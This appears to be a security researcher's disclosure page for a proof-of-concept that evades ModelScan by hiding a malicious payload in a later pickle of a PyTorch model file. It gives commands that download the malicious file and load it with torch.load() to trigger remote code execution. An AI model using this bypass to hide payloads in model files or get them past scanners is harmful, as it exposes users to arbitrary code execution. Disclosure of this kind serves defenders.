xiaoyaoes/pytorch-multipickle-bypass-poc

PyTorch Multi-Pickle Scanner Bypass PoC

ModelScan's PyTorchUnsafeOpScan uses multiple_pickles=False, causing it to scan only pickle 1 (magic number). The malicious payload in pickle 4 is completely invisible to the scanner. Even already-blocked modules like os.system work.

Verification

pip install modelscan
wget https://huggingface.co/xiaoyaoes/pytorch-multipickle-bypass-poc/resolve/main/rce_poc.pt

# ModelScan: "No issues found!"
modelscan scan -p rce_poc.pt

# torch.load(): RCE triggered
python3 -c "import torch; torch.load('rce_poc.pt')"

File: rce_poc.pt (213 bytes) Author: Security researcher